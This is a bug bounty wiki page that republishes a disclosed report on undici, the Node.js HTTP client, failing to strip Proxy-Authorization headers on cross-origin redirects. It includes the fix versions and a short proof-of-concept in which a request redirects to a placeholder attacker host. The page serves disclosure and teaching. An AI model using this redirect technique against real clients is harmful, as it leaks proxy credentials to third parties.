Skip to content
Info disclosure Disclosed report Intermediate CVE-2024-24758

Proxy-Authorization header is not cleared in cross-domain redirect in undici

Undici did not clear the Proxy-Authorization header on cross-origin redirects, unlike the Authorization and Cookie headers. An attacker could cause a request to redirect to a third-party site, leaking the Proxy-Authorization credentials.

timon8 Follow

Originally disclosed on HackerOne

Bounty$405 Low View original
  • Triaged in 10 hours
  • Fixed in 8 days
  • Paid in 8 days
  • Disclosed after 15 days

Summary by the program

Proxy-Authorization header not cleared on cross-origin redirect in fetch

Impact Undici already cleared Authorization headers on cross-origin redirects, but did not clear Proxy-Authorization headers.

Patches This is patched in v5.28.3 and v6.6.1

Workarounds There are no known workarounds.

Full GHSA: https://github.com/nodejs/undici/security/advisories/GHSA-3787-6prv-h9w3

The report

I read this security advisory https://github.com/nodejs/undici/security/advisories/GHSA-wqq4-5wpv-mx2g. It only clears authorization and cookie header during cross-domain redirect .

image.png
image.png From the original on HackerOne

As such this may lead to accidental leakage of "Proxy-Authorization" to a 3rd-party site.

NODEJS
import { request } from 'undici'
const {
    statusCode,
    headers,
    body
} = await request('http://anysite.com/redirect.php?url=http://attacker.com:8182/vvv',{
    maxRedirections: 3,
    headers: {
        "autHorization": 'tes123t',
        "coOkie": "ddd=dddd",
        "X-CSRF-Token": 't5k3zni6fbdqbnce58zbkh7c4o',
        'Proxy-Authorization':'xxxxxxxx'
    }})

console.log('response received', statusCode)
console.log('headers', headers)

for await (const data of body) {
    console.log('data', data)
}
image.png
image.png From the original on HackerOne

You can refer to this python code. https://github.com/psf/requests/blob/main/src/requests/sessions.py#L318 References https://github.com/psf/requests/issues/1885 https://fetch.spec.whatwg.org/#authentication-entries Impact undici v6.5.0

Impact

<= v5.28.2, >= v6.0.0 <= v6.6.0

The original report as published on HackerOne, by timon8. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the redirect handling logic only stripped Authorization and Cookie headers on cross-origin redirects, omitting Proxy-Authorization.

Impact

This could lead to accidental leakage of Proxy-Authorization credentials to a third-party site.

What the attacker needed

Victim uses undici with Proxy-Authorization; request follows a cross-origin redirect

The fix

This was fixed in versions v5.28.3 and v6.6.1.

How it was found

  1. Send a request using undici to a URL that redirects to an attacker-controlled site.
  2. Include a Proxy-Authorization header in the request.
  3. Observe that the header is forwarded to the attacker site after the redirect.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a web request is redirected to a different website, sensitive headers like Authorization should be removed to prevent leaking credentials. Undici, a Node.js HTTP client, failed to remove the Proxy-Authorization header, so if a request was redirected to an attacker-controlled site, the proxy credentials could be exposed.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More by timon8

View all

2 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.